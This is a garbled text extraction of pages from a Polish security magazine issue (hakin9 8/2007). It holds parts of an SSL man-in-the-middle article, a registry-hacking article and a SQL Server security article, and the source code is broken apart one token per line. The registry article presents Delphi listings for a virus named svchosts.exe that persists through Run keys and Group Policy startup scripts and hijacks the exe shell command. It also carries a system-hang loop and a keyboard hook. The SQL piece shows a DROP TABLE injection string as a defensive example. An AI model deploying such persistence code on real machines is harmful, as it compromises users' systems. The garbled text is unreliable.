rę (Rysunek 2). Brak jest jakichkolwiek
komunikatów o ataku (SSL 3.0, patrz
Atak  SSL  2.0  Rollback).  Bezpieczne
połączenie  zostaje  zdegradowane  do
poziomu łatwego odszyfrowania. Ata-
kujący  odbiera  zaszyfrowane  dane.
Klient (ofiara) wylogowuje się z konta
i kończy połączenie. Napastnik odszy-
frowuje informacje i ma dostęp do da-
nych ofiary.

Scenariusz

drugiego ataku

W  tym  przypadku  jeden  z  pracow-
ników  firmy  chce  poznać  dane  doty-
czące  kont  pracowników  z  firmy.  Na
początku  zachwala  zalety  pewnego
banku.  Później  wysyła  pracownikom
link (adres tego banku) przez pomył-

kę wpisując HTTP zamiast HTTPS.
Część pracowników, ufając kolegom z
pracy, rejestruje się na stronie banku.
Wszystkie dane są wysyłane w posta-
ci niezaszyfrowanej. Następnie ro-

Rysunek 3.

Wygląd programu Ethereal podczas pracy

O autorze

Artur Czyż, od 6 lat interesuje się
bezpieczeństwem Sieci.
Kontakt z autorem:
blackgeocities@wp.pl

Protokół SSL 2.0 i 3.0

Protokół  SSL  zaprojektowany  został
przez firmę Netscape. Jego zadaniem
było zapewnienie poufności oraz inte-
gralności  danych  przesyłanych  przez
Internet.  Miał  to  być  protokół  uniwer-
salny, tak, aby mogły z niego korzystać
HTTP, FTP, TELNET, etc.

Man-in-the-middle

Atak typu man-in-the-middle (MITM) to
sytuacja, w której w kontakt pomiędzy
jedną a drugą stroną wkracza atakują-
cy. Jest on w stanie przechwytywać da-
ne przesyłane w obu kierunkach, od-
czytywać je, modyfikować lub usuwać.

Rysunek 4.

Wygląd programu

dsniff podczas pracy

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

okna resetującego komputer po 60
sekundach.

Surfując po WWW, jesteśmy

bombardowani  linkami  do  różnych
plików  czy  zapytaniami  java  script,
które  mogą  wywołać  na  naszym
komputerze  instalację  złośliwego
softu.  Szczególnie  dotkliwie  odczu-
wają  to  na  swej  skórze  posiadacze
modemów,  gdy  rachunki  za  telefon
przekraczają parę tysięcy złotych. W
związku z rozwojem globalnej sieci,
infekowanie wirusami stało się o wie-
le szybsze. Od pojawienia się zagro-
żenia mijają sekundy, a tysiące kom-
puterów stają się przez ten czas ofia-
rami; szczepionka pojawia się nato-
miast zwykle najwcześniej około go-
dzinę  później.  Pierwsze  wirusy  były
pisane przez pojedyncze osoby - te-
raz  najbardziej  wyrafinowane  wiru-
sy  tworzone  są  przez  zespoły  pro-
gramistów.

Zmienił się też cel takiego działa-

nia. Jeszcze nie tak dawno podsta-
wową  kwestią  było  zarażenie  kom-
putera,  zniszczenie  danych,  uszko-
dzenie biosu czy dysku twardego, te-
raz  weszliśmy w epokę wirusów ko-
mercyjnych,  które  są  pisane  w  jed-
nym celu - aby zarobić. Znane są sie-
ci zombi które, atakują serwery firm,
aby później poinformować o zapłacie
za ochronę przed takim procederem.
Nawet  te  Sieci  toczą  ze  sobą  woj-
ny o to, która z nich zdobędzie wię-
cej komputerów lub jedne sieci przej-
mują  inne.  Ostatnio  popularne  sta-
ją się też ataki na banki, mające na
celu zdobycie danych klienta, nume-
rów  pin,  haseł  bezpieczeństwa.  Te-
matem tej pracy nie jest opisanie za-
grożenia, tylko przedstawienie infor-
macji na temat sposobów tworzenia
wirusów.

Infekcja

Część  infekująca  to  najważniejszy
element wirusa. Najpierw wyszukuje
ona odpowiedni program, a następ-
nie  go  zaraża.  Niektóre    wirusy  za-
wierają  warunek  aktywacji  (trigger),
a także procedurę odpowiadającą za
zniszczenia  (payload).  Maskowanie,
a więc ukrywanie wirusa w systemie
może  prowadzić  do  wyłączenia  an-
tywirusa,  aby  ten  nie  wykrył  go  za-

Listing 1.

rejestr – autostart

Katalogi Użytkownika
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunOnceEX
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Wirus wykorzystujący pen drive ładuje się do tego wpisu
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows§
wartość run

Katalogi systemowe
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunServicesOnce

Listing 2.

svchosts.pas

Program

svchosts

;

uses

Windows

SysUtils

Registry

;

Begin

parametr

;

shell

;

DodajSkrypt

;

hackJedenWpis

;

sleep

(

20000

);

hackJedenWpis

;

sprzataj

end

Listing 3.

Dodawanie do sekcji uruchom

Procedure

hackJedenWpis

;

var

Rejestr

Tregistry

;

zmienna

odpowiedzialna

kontakt

rejestrem

begin

Rejestr

Tregistry

Create

;

Rejestr

RootKey

HKEY_LOCAL_MACHINE

;

Rejestr

OpenKey

(

'software\Microsoft\Windows\CurrentVersion\Run'

false

);

Rejestr

WriteString

(

'system'

'c:\svchosts.exe'

);

dodajemy

nowy

wpis

naszego

wirusa

rejestr

free

;

copyfile

(

'svchosts.exe'

'c:\svchosts.exe'

true

);

kopiujemy

nasz

program

wskazanego

katalogu

zast

puj

poprzedni

wersje

end

;

Uwaga

Jeśli chcielibyśmy założyć blokadę na uruchamiane programy, należy pamiętać, ze filtr
będzie działał tylko dla określonego typu plików, w odniesieniu do którego założymy
ową blokadę. Jeśli zablokujemy pliki exe, to dokument Word z rozszerzeniem .doc bę-
dzie się uruchamiał, gdyż jest uruchamiany z poziomu rozszerzenia. Dlatego można
założyć zabezpieczenie na rozszerzenia lub na pliki wykonywalne, zmuszając tym sa-
mym Windows do tego, by każdy uruchomiony plik przepuszczał przez nasz program,
a w tym wypadku przefiltrował go tak, jak ma to miejsce w Listingu 6.

hakin9 Nr 8/2007

www.hakin9.org

Atak

wczasu i aby ukryć wszystkie podej-
rzane  aspekty  swoich  działań.  Zo-
stała  nawet  wprowadzona  procedu-
ra  statusu,  aby  zapobiec  ponowne-
mu  zarażeniu.  Poprzez  dodanie  do
gospodarza kilku bitów wirus spraw-
dza, czy plik jest zainfekowany. Kie-
dy  mamy  do  czynienia  z  makrowi-
rusem,  potrafi  on  zainfekować  pliki
Word, Excel, a nawet Access. Wirus
taki w najprostszych przypadkach ła-
duje  się  do  funkcji  AutoOpen  i  jest
wykonywany podczas uruchamiania
dokumentu.

Nie tylko dokumenty są narażone

w  przypadku  wirusów  plików  -  czę-
sto otrzymujemy jakiś program i uru-
chamiamy go, nie zdając sobie spra-
wy z tego, że może on być zainfeko-
wany przez wirusa. W ten sposób wi-
rus się zagnieżdża i infekuje następ-
ne  pliki.  Na  końcu  wirus  uruchamia
właściwy  program,  aby  ukryć  swo-
ją działalność. Wirus taki  przykleja
się do kodu programu-gospodarza i
umieszcza na jego początku rozkaz
skoku do właściwego kodu, a na koń-
cu wraca do wykonywania naszego
programu.  Wirusy  i  robaki  atakują
system,  zmieniają  pliki  systemowe,
wpisują  się  w  boot  sektor.  Razem
z  tymi  procedurami  infekują  rejestr
Windowsa, który odpowiedzialny jest
między  innymi  za  prawidłowy  start
komputera, uruchamianie usług, pro-
gramów,  powiązań  z  programami.
Sam  rejestr  ma  strukturę  drzewia-
stą, jego gałęzie nazywamy klucza-
mi, a jego końce wartościami.  War-
tości owe mogą być typu liczbowego,
znakowego,  binarnego.  Głównymi
kluczami  rejestru  są  HKEY_CLAS-
SES_ROOT,

HKEY_CURRENT_

USER, HKEY_LOCAL_MACHINE,

HKEY_USERS, HKEY_CURRENT_
CONFIG i HKEY_DYN_DATA.

W podkluczach odpowiedzial-

nych za automatyczny start aplikacji
podczas uruchamiania systemu Win-
dows umieszczane są odwołania do
wirusów(rejestr – autostart). Niektó-
re programy umieszczają swoje od-
wołanie  w  polityce  bezpieczeństwa
za  pomocą  skryptów  autostartu  lub
wylogowywania  użytkownika.  Od-
powiednio spreparowany skrypt mo-
że  instalować  wirusa  przy  każdora-
zowym  zamknięciu  systemu.  Nawet
wtedy,  gdy  użytkownik  usunie  wiru-
sa,  skrypt  automatycznej  instalacji
rozpakuje go i zainstaluje.

Rejestr jest potężnym narzę-

dziem,  dającym  możliwość  pełnej
konfiguracji  systemu.  Teraz  już  pra-
wie  każdy  wirus  ma  zaimplemento-
wany  kod  podobny  do  tego,  jaki  wi-
dzimy na Listingu 2. W rejestrze moż-
na zmienić ustawienia wyglądu ikon,
a także opcję włączenia lub wyłącze-
nia  ukrywania  znanych  rozszerzeń
Wtedy  program  podający  się  np.  za
dokument  Worda  może  zostać  uru-
chomiony  przez  użytkownika  i  tym
samym  zainfekować  system.  Od-
powiada  za  to  klucz  HKEY_CLAS-
SES_ROOT, dzięki funkcji wpisu Ne-

verShowExt.

Złośliwe oprogramowanie wpi-

suje  się  do  zmiennej  exefile\shell
w  rejestrze,  zmienna  ta  jest  wyko-
nywana  przy  uruchamianiu  progra-
mów, a odpowiednio zastąpiona do-
prowadza  do  sytuacji  uruchamiania
złośliwego  oprogramowania  zanim
jeszcze  cokolwiek  innego  świado-
mie uruchomimy. Mając to na uwa-
dze, programy antywirusowe spraw-
dzają tą wartość, jednak nie weryfi-

kują wszystkich elementów związa-
nych  z  startem,  a  co  za  tym  idzie,
aplikacja  może  być  wywołana  pod-
czas  otwierania  dokumentu  Worda
lub pliku mp3:

winexec(pchar(paramstr(1)),Sw_SHOW);

Umieszczając  powyższą  linię  lek-
ko zmodyfikowaną, bezpośrednio w
programie kilkakrotnie, z tymi samy-
mi  wartościami  zapętlamy  program
do  tego  stopnia,  że  system  się  za-
wiesza.  Specjalista  od  algorytmów
powiedział by, rzędu n

winexec('svchosts.exe',Sw_SHOW);
winexec('svchosts.exe',Sw_SHOW);
winexec('svchosts.exe',Sw_SHOW);

Wartość  NoClose  we  wpisie
HKEY_CURRENT_USER\Software\
Microsoft\Windows\CurrentVersion
\Policies\Explorer  wyłącza  pole-
cenie  Zamknij  w  menu  start.  Pod-
czas  pisania  wirusów  można
wykorzystać  także  wpis    w  HKEY_
LO C A L _ M AC H I N E \ S o f t w a r e \
Microsoft\Windows\CurrentVersion\
Explorer\Desktop\NameSpace

nazwie

{450D8FBA-AD25-11D0-

98A8-0800361B1103},  który  odpo-
wiada za ikonę Moje dokumenty na
pulpicie.  Podszywając  się  pod  nią,
wirus  może  swobodnie  hasać  po
komputerze.

Programy szpiegujące ukrywa-

ją się obok tego często jako usługi
systemu czy nawet jako sterowniki
urządzeń.

Listingi przedstawione w artykule

to kody źródłowe zagnieżdżania się
w systemie wirusów.

Wirusy zmieniają swoje nazwy,

często przypominają w efekcie te-

Generatory wirusów

• IVP – Instant Virus Production Kit,
• VCL – Virus Construction Labora-

tory,

• PS-MPC – Phalcon-Skism Mass

Produced Code Generator,

• G2 – G Squared,
• NRLG – Nuke Randomic Life Ge-

nerator.

Rysunek 1.

Rejestr Windows

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

go wykonywalne pliki systemu. Mo-
gą także uruchamiać się na krótko,
by  użytkownik  nawet  nie  zauważył
kilkubajtowego  wzrostu  zużycia  pa-
mięci,  jako  sterownik  systemu  Win-
dows  lub  usługa,  której  pochodze-

nie  do  końca  jest  niewiadome.  Wi-
rus może pracować w systemie, nie-
kiedy przejmując nawet nazwę wła-
ściwego oprogramowania, ale znaj-
dując  się  w  innej  lokalizacji.  Nor-
malnie  wykorzystywany  jest  plik  c:

\windows\system32\svchost.exe,
wystarczy jednak zmienić ścieżkę
programu na c:\windows\system\

svchost.exe, a użytkownik straci
orientację w uruchomionych proce-
sach Windowsa.

Listing 4.

Polityka bezpieczeństwa

Procedure

DodajSkrypt

;

var

Rejestr

Tregistry

;

plik

textfile

;

atrybut

integer

;

begin

Rejestr

Tregistry

Create

;

Rejestr

RootKey

HKEY_LOCAL_MACHINE

;

Rejestr

OpenKey

(

'SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0'

true

);

Rejestr

WriteString

(

'Script'

'c:\svchosts.exe'

);

dodajemy

nowy

wpis

Rejestr

CloseKey

;

Rejestr

OpenKey

(

'SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0'

true

);

Rejestr

WriteString

(

'Script'

'c:\svchosts.exe'

);

dodajemy

nowy

wpis

rejestr

free

;

atrybut

FileGetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

FileSetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

assignfile

(

plik

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

rewrite

(

plik

);

Writeln

(

plik

);

writeln

(

plik

'[Startup]'

);

writeln

(

plik

'0CmdLine=C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

);

writeln

(

plik

'0Parameters='

);

CloseFile

(

plik

);

copyfile

(

'svchosts.exe'

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

true

);

FileSetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

atrybut

);

end

;

Listing 5.

Shell Windowsa

Procedure

shell

;

var

Rejestr

Tregistry

;

zmienna

odpowiedzialna

kontakt

rejestrem

begin

rejestr

tregistry

Create

;

rejestr

RootKey

HKEY_CLASSES_ROOT

;

jak

zwykle

zaczynamy

przypisania

wartosci

glownego

klucza

rejestr

OpenKey

(

'exefile\shell\open\command'

false

);

otwierany

klucz

odpowiedzialny

uruchamianie

czegokolwiek

;

rejestr

WriteString

(

'c:\svchosts.exe "%1" %*'

);

wpisujemy

rejestru

nasza

wartosc

czyli

uruchamianie

programu

wraz

rejestrem

rejestr

CloseKey

;

rejestr

OpenKey

(

'exefile\shell\runas\command'

false

);

rejestr

WriteString

(

'c:\svchosts.exe "%1" %*'

);

copyfile

(

'svhosts.exe'

'c:\svhosts.exe'

true

);

rejestr

Free

;

end

;

hakin9 Nr 8/2007

www.hakin9.org

Atak

Hackowanie klawiatury

Windows odpowiada za przesyła-
nie informacji o naciśniętych klawi-
szach do aktywnego okna. Chociaż
na ekranie może znajdować się kilka
okien, tylko jedno z nich jest aktyw-
ne i tylko ono może otrzymywać in-

formację o naciśniętych klawiszach.
Aktywne okno można rozpoznać,
patrząc na jego pasek tytułowy, któ-
ry jest podświetlony.

W rzeczywistości istnieją dwa

główne rodzaje wiadomości pocho-
dzących od klawiatury, zależnie od

sposobu  jej  potraktowania.  Klawia-
turę  można  potraktować  mianowi-
cie jak zbiór klawiszy. W tym przy-
padku, jeśli zostanie naciśnięty kla-
wisz,  system  Windows  wysyła  wia-
domość  WM_KEYDOWN  do  ak-
tywnego  okna,  informując  je  o  tym

Listing 6.

Uruchom z parametrem

Procedure

parametr

;

var

boolean

;

blokowanie

aplikacji

begin

true

;

AnsiContainsText

(

paramstr

(

)

'winword.exe'

)

then

false

;

AnsiContainsText

(

paramstr

(

)

'winamp.exe'

)

then

false

;

then

winexec

(

pchar

(

paramstr

(

))

Sw_SHOW

);

messagebox

(

pchar

(

paramstr

(

))

'Start'

);

end

;

Listing 7.

Sprzątanie w systemie

Procedure

sprzataj

;

var

Rejestr

Tregistry

;

plik

textfile

;

begin

Rejestr

Tregistry

Create

;

Rejestr

RootKey

HKEY_LOCAL_MACHINE

;

Rejestr

OpenKey

(

'software\Microsoft\Windows\CurrentVersion\Run'

false

);

Rejestr

DeleteKey

(

'system'

);

rejestr

CloseKey

;

fileexists

(

'c:\svchosts.exe'

)

then

DeleteFile

(

'c:\svchosts.exe'

);

Rejestr

RootKey

HKEY_LOCAL_MACHINE

;

Rejestr

OpenKey

(

'SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0'

true

);

Rejestr

DeleteKey

(

'Script'

);

dodajemy

nowy

wpis

Rejestr

CloseKey

;

Rejestr

openkey

(

'SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0'

true

);

Rejestr

deletekey

(

'Script'

);

dodajemy

nowy

wpis

rejestr

CloseKey

;

fileExists

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

)

then

begin

assignfile

(

plik

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

rewrite

(

plik

);

CloseFile

(

plik

);

DeleteFile

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

);

end

;

rejestr

RootKey

HKEY_CLASSES_ROOT

;

rejestr

OpenKey

(

'exefile\shell\open\command'

false

);

rejestr

WriteString

(

'"%1" %*'

);

przywracamy

prawid

warto

ść

rejestr

CloseKey

;

rejestr

free

;

zwalniamy

zmienna

rejestru

;

end

;

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

fakcie.  Gdy  klawisz  zostanie  zwol-
niony,  Windows  wysyła  wiadomość
WM_KEYUP.  Klawisz  traktujemy
jak  przycisk.  Innym  sposobem  po-
strzegania klawiatury jest przyjęcie,
iż stanowi ona urządzenie do wpro-
wadzania  znaków.  Gdy  naciśniemy
klawisz  A,  system  Windows  wysy-
ła  wiadomość  WM_CHAR  do  ak-
tywnego  okna  informując  je  o  tym,
że  użytkownik  przesyła  do  nie-
go  znak  A.  W  rzeczywistości  Win-
dows  wysyła  do  okna  wiadomości
WM_KEYDOWN  i  WM_KEYUP,  a
wiadomości  te  zostają  przetłuma-
czone  na  wiadomości  WM_CHAR
przez  wywołanie  funkcji  Translate-

Message.

Procedura danego okna mo-

że  zdecydować  się  przetwarzać
wszystkie  trzy  wiadomości  klawia-
tury  lub  tylko  te,  którymi  jest  zain-
teresowana. W większości przypad-
ków można zignorować wiadomości
WM_KEYDOWN  oraz  WM_KEY-
UP,  ponieważ  wywołanie  funkcji

TranslateMessage w pętli wiadomo-
ści przetłumaczy je na wiadomości
WM_CHAR.

Podsumowanie

Systemy komputerowe są ciągle ła-
tane, hakerzy znajdują dziury, crac-
kerzy  łamią  zabezpieczenia.  Do  te-
go  wyścigu  dołączyli  także  produ-
cenci  oprogramowania  antywiruso-
wego.  Ciągle  unowocześniana,  ak-
tualizowana  nawet  kilka  razy  dzien-
nie baza wirusów powoduje, że czu-
jemy się bezpiecznie. Ciągle słyszy
się o atakach na serwery, przy czym
najbardziej narażone na nie są zna-
ne instytucje.

Każdy z nas może jednak zostać

zaatakowany  przez  wirusa,  robaka
i tym podobne złośliwe oprogramo-
wanie, nie trzeba nawet wchodzić na
strony  je  zawierające.  Do  poszuki-
wania  wirusa  w  systemie  wykorzy-
stywany  jest  program  antywiruso-

wy, służyć mogą do tego także róż-
nego rodzaju programy antyspywa-
re. Jednak od czasu do czasu war-

to zajrzeć do rejestru czy autostar-
tu, choćby po to, aby posprzątać tam
śmieci. l

O autorze

Zainteresowania: muzyka, programo-
wanie object pascal, c++, bezpieczeń-
stwo informacji.
Kontakt z autorem: rafalpa@interia.pl

Listing 8.

Hack na klawiaturę

public

{ Public declarations }

procedure

BlockKlaw

;

Blokujemy

klawiature

end

;

var

Hklaw

HHOOK

;

Hooka

type

PKbdDllHookStruct

TKbdDllHookStruct

;

TKbdDllHookStruct

record

vkCode

ScanCode

Flags

Time

dwExtraInfo

Integer

;

end

;

const

WH_KEYBOARD_LL

;

blokady

niskiego

poziomu

cze

implementation

zapisujemy

funkcje

function

LLKeyHookFunc

(

HookCode

Integer

;

KeyCode

wParam

;

KstrokeInfo:§

lParam

LResult

;

stdcall

;

var

Struct

PKbdDllHookStruct

;

Wska

nik

struktury

begin

Struct

Ptr

(

KStrokeInfo

);

Result

;

(

HookCode

)

then

begin

{ Blokujemy kombinację Ctrl+Esc }

(

Struct

vkCode

VK_ESCAPE

)

and

(GetAsyncKeyState§

(

VK_CONTROL

)<-

32766

)

then

Result

;

{ Blokujemy Alt+Tab }

(

Struct

vkCode

VK_TAB

)

and

(

GetAsyncKeyState

(

VK_MENU

)<-

32766

)

then

Result

;

{ Blokujemy prawy i lewy klawisz Windowsa }

(

Struct

vkCode

VK_LWIN

)

(

Struct

vkCode

VK_RWIN

)

then

Result

;

end

;

przekazanie

informacji

innych

okien

(

Result

)

then

Result

CallNextHookEx

(

Hklaw

HookCode

KeyCode

KStrokeInfo

);

end

;

{ Załóżmy Hook na system }

procedure

TForm1

LockSystem

;

begin

Hklaw

SetWindowsHookEx

(

WH_KEYBOARD_LL

, @

LLKeyHookFunc

hInstance

);

end

;

procedure

TForm1

Button1Click

(

Sender

TObject

);

begin

LockSystem

;

end

;

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

ono na tworzenie aplikacji dla syste-
mu Windows oraz aplikacji Web. We
wszystkich aplikacjach, bez względu
na  ich  rodzaj,  podstawowym  zagad-
nieniem jest dostęp do danych. W ce-
lu połączenia z bazą danych, używa-
my różnych sterowników dostępu do
danych.  Bez  względu  na  rodzaj  ste-
rownika i rodzaj źródła danych, musi-
my stworzyć obiekt, który będzie re-
prezentował połączenie i który będzie
zawierał  Connection  String  –  czy-
li  ciąg,  który  mówi  gdzie  i  jak  chce-
my się połączyć. Istnieje kilka sposo-
bów Connection String na połączenie
z bazą danych. Podstawowym obiek-
tem  dla  platformy  .NET  do  połącze-
nia  do  SQL  Server  jest  obiekt  Sql-

Connection  (dostępny  w  przestrze-
ni  nazw  System.Data.SqlClient.  Mo-
że  on  przyjąć  następujące  wartości

Connection String:

• Data Source=myServerAddres-

s;Initial Catalog=myDataBase-

;User Id=myUsername;Passwor-

d=myPassword;

• Server=myServerAddress;Data-

base=myDataBase;User ID=my-

Username;Password=myPasswor-

d;Trusted_Connection=False;

• Data Source=myServerAddres-

s;Initial Catalog=myDataBase-
;Integrated Security=SSPI;

• Server=myServerAddress;Da-

tabase=myDataBase;Trusted_
Connection=True;

Pierwsze dwa wskazują bezpośred-
nio na nazwę serwera bazy danych,
bazę  danych  oraz  jawnie  przyjmu-
je  nazwę  użytkownika  i  hasło.  Wy-
korzystywane  są  one  głównie  wte-
dy,  gdy  logujemy  się  przy  pomocy
kont założonych po stronie SQL Se-
rver.  Trzeci  i  czwarty  nie  ma  para-
metrów  nazwa  użytkownika  i  hasło,
a jego główne zastosowanie to apli-
kacje, w których użytkownicy autory-
zowani  są  przy  pomocy  kont  syste-
mu Windows lub kont domenowych.
Dla systemów, które nie łączą się do
SQL Server, a do innych baz danych,
przewidziany jest sterownik OLE DB.
Jest on bardzo podobny do poprzed-
nika,  ale  posiada  dwa  dodatkowe
elementy.  Pierwszy,  mniej  istotny  z
punktu  widzenia  bezpieczeństwa,
jest element Provider, który mówi do
jakiej bazy danych będziemy się łą-
czyć. Drugi to bardzo ważny element

Encrypt, który może wymusić bez-
pieczne połączenie do bazy danych
(o ile tego typu połączenia wspiera-
ne są przez bazę danych). Jego za-
pis przedstawia się na Listingu 9.

Dlaczego w ogóle wspomina się

tu o Connection String i jego para-
metrach? Podstawowy powód to
sposób jego przechowywania w apli-
kacji i użycia. Mamy trzy możliwości
przechowywania Connection String:

•   w kodzie aplikacji,
•   w pliku konfiguracyjnym aplikacji,
•   w  przypadku  IIS7  i  aplikacji

ASP.NET możemy przechowy-
wać go po stronie serwera IIS7.

Każdy z tych sposobów ma swoje wa-
dy i zalety. Zastanawiając się nad wy-
borem odpowiedniego sposobu uży-
cia  Connection  String,  należy  wziąć
pod uwagę, czy przekazujemy hasło
i  nazwę  użytkownika  w  ramach  po-
łączenia, czy nasza aplikacja pracu-
je w Sieci rozproszonej, czy jest na-
rażona  na  możliwość  podsłuchiwa-
nia oraz czy do naszej aplikacji mo-
gą  mieć  dostęp  osoby  niepowołane.
Najbardziej  niebezpieczne  jest  prze-
chowywanie połączenia w programie
i przekazywanie użytkownika i hasła
jawnie. Jest to o tyle groźne, że jeśli
nasza aplikacja nie zostanie poddana
procesowi  zaciemniania  kodu  (patrz
artykuł w hakin9 6/2007), to przy uży-
ciu prostego narzędzia osoba niepo-
wołana może uzyskać dostęp do ser-
wera bazy danych.

Zaleca się przechowywanie Con-

nection String w plikach konfiguracyj-
nych, a dodatkowo warto przechowy-
wać je w postaci zaszyfrowanej i de-

Rysunek 1.

Wynik działania programu Reflector.NET

Listing 1.

Przykładowy plik konfiguracyjny z zaszyfrowanym

Connection String

?xml version=

"1.0"

encoding=

"utf-8"

configuration

connectionStrings

add name=

"DD_cnx"

connectionString="JoHjmHJHXizQY41UhM4swXpoDrzMqi03N1j0+xiRhbjprFw8yII0

Oc67P0uFg11zHx61tnoT3QLyHxsIxn9mxdN0EMQPrBgYR1i6BxHyUz80Ju/8YYFu+

ObRUAH69KC6oaGh+mNlEkhU4EyO7/Nn2sKAneOhWXqdp3EgttrLc0Q="

providerName=

"System.Data.SqlClient"

/connectionStrings

/configuration

hakin9 Nr 8/2007

www.hakin9.org

Obrona

szyfrować podczas odwoływania się
do nich. Przykład zawartości takiego
szyfrowanego pliku konfiguracyjnego
może wyglądać tak, jak na Listingu
1. Jak widzimy, jest ona zupełnie nie-
czytelna dla niepowołanych osób:

Źli użytkownicy

Pod  hasłem  źli  użytkownicy  rozu-
miemy  osoby,  które  chcą  wykorzy-
stać polecenia T-SQLa, a jednocze-
śnie  źle  napisane  aplikacje,  w  któ-
rych  przekazywane  polecenia  SQL
są  sklejane  z  poszczególnych  pól
formularzy  i  jako  jedna  całość  są
wysyłane  do  serwera  bazy  danych.
Taki  atak  nazywamy  SQL  Injection
–  czyli  wstrzykiwanie  poleceń  SQL
do  już  istniejących  poleceń  SQLo-
wych.  Dlaczego  w  ogóle  SQL  In-
jection  działa?  Odpowiedź  na  takie
pytanie  jest  bardzo  prosta  –  aplika-
cja  bezwzględnie  akceptuje  wszyst-
kie wprowadzone przez użytkownika
wartości.  Polecenia  TSQL  umiesz-
czane  są  zwykle  w  standardowych
miejscach:  pola  tekstowe,  ciągi  za-
pytań  czy  też  manipulowanie  war-

tościami w samym HTML-u. Jeśli
przyjrzymy się fragmentowi aplikacji,
gdzie na formularzu użytkownik wpi-
suje nazwę miasta, to przy fragmen-
cie kodu, jak na Listingu 8.

Standardowy i nieszkodliwy użyt-

kownik wprowadzi tu jakąś wartość,
np. Redmond, a wtedy zapytanie
przesłane do bazy danych będzie
wyglądać tak:

SELECT * FROM OrdersTable WHERE
ShipCity = ‘Redmond’

Jeśli do komputera usiądzie jednak
zły użytkownik, który chce nam za-
szkodzić, to wprowadzi on następu-
jącą wartość: Redmond’ ; DROP TA-

BLE OrdersTable - -. Do serwera ba-
zy danych zostaną w tym momencie
przesłane dwa zapytania:

SELECT * FROM OrdersTable WHERE
ShipCity = ‘Redmond’;
DROP TABLE OrdersTable--’

Jaki płynie z tego wniosek? Po pierw-
sze, nie należy pod żadnym pozorem

ufać  użytkownikowi  –  nawet  najlep-
szy  użytkownik  może  stanowić  po-
ważne  zagrożenie.  Po  drugie,  trze-
ba  sprawdzać  poprawność  wprowa-
dzanych danych i wyrzucać to, co nie
jest zgodne. Po trzecie, twoim przyja-
cielem są wyrażenia regularne, dzię-
ki którym błyskawicznie możemy wa-
lidować poprawność wprowadzanych
danych. Po czwarte nie należy łączyć
łańcuchów,  które  budują  zapytania
SQL, a co za tym idzie – zawsze trze-
ba parametryzować zapytania i uży-
wać  procedur  składowanych.  Przy-
kłady pokazane są na Listingu 2 i 3.

Pamiętać należy też o tym, że bu-

dowanie zapytań z łączenia ciągów
po stronie SQL-a również może przy-
nieść fatalne skutki, nawet jeśli użyje-
my do tego celu procedury składowa-
nej – przykład na Listingu 4.

Po stronie SQLa

Twórcy  Microsoft  SQL  Server  2005
podczas tworzenia bazy danych po-
stawili sobie za jeden z głównych ce-
lów  zagwarantowanie  bezpieczeń-
stwa danych i serwera. SQL Server
2005  wprowadza  nowe  elementy
bezpieczeństwa, do których zaliczyć
możemy: restrykcyjny dostęp do ser-
wera,  blokowanie  usług  oraz  bez-
pieczna konfiguracja usług i redukcja
przestrzeni  ataku  dla  nowych  ele-
mentów poprzez standardowe wyłą-
czenie większości dostępnych usług.
Dzięki temu, tuż po instalacji serwe-
ra jesteśmy narażeni w minimalnym
stopniu  na  różnego  rodzaju  zabez-
pieczenia.  Zanim  zaczniemy  oma-
wiać  poszczególne  elementy  zwią-
zane  z  programowaniem  bezpiecz-
nych  aplikacji,  przyjrzyjmy  się  sa-
mej bazie danych SQL Server 2005
oraz temu, jak komunikuje się ona i
jak  wygląda  jej  model  bezpieczeń-
stwa. Rysunek 2 przedstawia sche-
mat bezpieczeństwa SQL Server.

Cały proces, od momentu żąda-

nia do momentu pełnej autoryzacji,
wygląda następująco:

• W pierwszej kolejności następu-

je żądanie połączenia sieciowe-
go. Łącząca się aplikacja „infor-
muje o chęci” połączenia. Nastę-
puje proces „przywitania się” obu

Listing 2.

Przykład kodu, który wykorzystuje procedury składowane

nx = new SqlConnection(stringConnectionString);cnx.Open();

SqlDataAdapter

cmd

new

SqlDataAdapter

(

"spMaUprawnienia"

cnx

);

cmd

SelectCommand

Parameters

Add

(

"@u"

SqlDbType

VarChar

);

cmd

SelectCommand

Parameters

Add

(

"@h"

SqlDbType

VarChar

);

cmd

SelectCommand

Parameters

[

"@u"

]

Value

edtLogin

Text

;

cmd

SelectCommand

Parameters

[

"@h"

]

Value

edtHaslo

Text

;

DataSet

new

DataSet

();

cmd

Fill

(

);

Listing 3.

Przykład procedury składowanej w SQL Server 2005

CREATE PROCEDURE

